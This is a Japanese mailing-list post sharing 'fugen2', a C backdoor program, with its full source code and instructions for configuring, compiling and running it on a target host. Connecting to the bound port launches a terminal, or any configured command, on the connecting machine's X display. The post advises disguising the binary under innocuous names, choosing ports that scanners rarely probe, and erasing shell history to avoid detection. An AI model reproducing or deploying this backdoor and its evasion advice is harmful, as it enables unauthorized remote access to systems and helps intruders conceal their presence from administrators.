■  Backdoor作成ツール Mr.FREAK です. 先に投稿したBackdoor作成ツールの件ですが,ML に参加されているみなさんに評価してい ただきたいので, このMLにアップしようと思います. よろしくお願いします. 問い合わせ をいただいたYagiさん, わざわざメールをいただいたのにすみません. 不慣れで汚いソースですが, よろしくお願いします. ソースはこのメールの末尾につけま した. プログラムの名前は「ふげん2(fugen2) 」です. 「fugen 」というのは, 私が勝手 に付けた開発コードで, 某原子炉とは一切関係ありません. 数字の2 というのは,1もある ということです. 他に「もんじゅ(munju) 」とか「threemile 」なんてのも作ってますが , これも某原子炉とは一切関係ありません. では, 以降, 設定, 作り方, 起動法, 注意事項( 重要) の順に説明させていただきます. 必要な設定は, 冒頭の 1. #define BACKDOOR_PORT "2939" と, 終りのほうの 2. argv0[0] = "kterm"; execl("/usr/X11R6.3/bin/kterm",argv0,NULL); です. 1. BACKDOOR_PORT はtargethostでbindするポートナンバーです. 実際に使用するときに ,telnet で叩いてやるポートのことです. 好みに合わせて変更してください. 起動時 にオプションとして与えてやることもできますが,ps コマンドで容易にバレてしまう のでお勧めできません. 注意点:8080 や3128とかいうweb のproxy で使われるポートはproxy が動いているか どうか検索されることが多いので, 使用を控えたほうがよいと思います. 2. は,BACKDOOR_PORTが叩かれたときに起動されるコマンドです. 例えば/usr/local/X11 R5/bin/xtermを起動したいのであれば, argv0[0] = "xterm"; execl("/usr/local/X11R5/bin/xterm",argv0,NULL); としてやります.xtermやkterm でなくても, 任意のコマンドを実行できるので試して みてください. 例えば, 「/sbin/shutdown-i0-g0」なんてこともできるはずです. 作り方はgcc でコンパイルするだけです.Solarisで必要なライブラリはnsl,ucb,socketの 三っつのはずです. gcc -O2 fugen2.c -o fugen2 -lnsl -lucb -lsocket -L/usr/ucblib 等としてください. 技術的に変わったことをするプログラムではないので, インクルード するヘッダファイルを変えるだけで他のOSでも動くと思います. 私はC に関していまいち 無知なもので, コンパイルするときにWarning を吐きますが気にしないでやってください. 起動は, target host で ($PATH)/fugen2 と入力してください. 勝手にforkしてdaemonとして常駐するので, バックグラウンドジョ ブとして起動する必要はありません.BACKDOOR_PORTのbindが成功すると, 起動したshell との接続を切ってしまうので, エラーメッセージ等は表示されなくなります. さて,targe thost での起動が成功したら,Xサーバが動いているマシンで telnet target_host BACKDOOR_PORT と入力してください. するとxterm(kterm)が開くはずです. それから,xhost+target_host を忘れずに. 殺すときは, kill -9 [pid] で殺してください. オプション -9 が必要です. 注意点はいろいろあります. 4 は特に重要です. 1. Backdoorとして利用するときには,lpNetとか,cshとかの見つかりにくい名前に変更す ることをお勧めします. 2. bindするポートが>1023(1024?)であればroot権限がなくても動くので, 単なるお遊び 的な利用も可能です. ただし,root ではなく, 一般ユーザのSecurityholeになりかね ないので注意してください. 3. telnetをかけたマシンにxterm を開こうとするので, よそ様の画面にxterm を開かせ るなんてことはできません. この点に関しては改良の余地が残されています. 4. このプログラムをinetd で起動させずにshell のコマンドとして動かすと, 起動した shell の環境変数を自動的に引き継いでしまいます. 従って, 環境変数USERやGROUP が一般ユーザのままになっていると, 開いたxterm でもこれが反映され,backdoor を 設置したユーザがバレてしまう可能性があります. 十分注意してください. この点に 関しても改良の余地が残されています. 5. ログインせずにbackdoorが利用できるので,rootshell等と違い足跡が残りにくいプロ グラムですが,~/.history 等に証拠が残らないよう注意してください. 6. このプログラムはMr.FREAKが作成したものですが, 改造, 転載は自由にしていただい て構いません. またその場合に, 承諾を得るための連絡をしていただく必要も全くあ りません. このプログラムの使用によって何らかの障害・不利益が生じても, 私は一 切関知しません. ってなとこかな? 以上のことについて, 質問・要望等がありましたら連絡をお願いします. できる範囲で応 じます. --------------------------------------------------------------------- #include #include #include #include #include #include #include #include #include #include #define BACKDOOR_PORT "2939" void func(void) { signal(SIGHUP, func); signal(SIGTERM, func); } void pwait(void) { int status; wait(&status); } void main(argc, argv) int argc; char **argv; { struct sockaddr_in server, client; char host_a[512], proxy_port[512]; char *argv0[128]; int s, new_s, pid; int cl_len; unsigned int a, b, c, d; signal(SIGHUP, func); signal(SIGTERM, func); signal(SIGCHLD, pwait); if(argc < 2) { strcpy(proxy_port, BACKDOOR_PORT); } else { strcpy(proxy_port, argv[1]); } if((s=socket(AF_INET, SOCK_STREAM, 0))== -1){ exit(1); } bzero((char *) &server, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr=INADDR_ANY; server.sin_port=htons(atoi(proxy_port)); if(bind(s, &server, sizeof(server))== -1) { exit(1); } if(listen(s,5)== -1) { exit(1); } if(fork() != 0) exit(0); fclose(stdin); fclose(stdout); fclose(stderr); for (;;){ cl_len = sizeof(client); if ((new_s = accept(s, &client, &cl_len)) == -1){ continue; } else { close(new_s); if ((pid = fork()) == -1) { exit(1); } else if (pid == 0) { fclose(stdin); fclose(stdout); fclose(stderr); close(s); a = ((unsigned int)(client.sin_addr.s_addr)) >> 24; b = (((unsigned int)(client.sin_addr.s_addr)) >> 16) & 0xff; c = (((unsigned int)(client.sin_addr.s_addr)) >> 8) & 0xff; d = ((unsigned int)(client.sin_addr.s_addr)) & 0xff; sprintf(host_a, "DISPLAY=%u.%u.%u.%u:0", a, b, c, d); putenv(host_a); argv0[0] = "kterm"; execl("/usr/X11R6.3/bin/kterm",argv0,NULL); exit(0); } } } }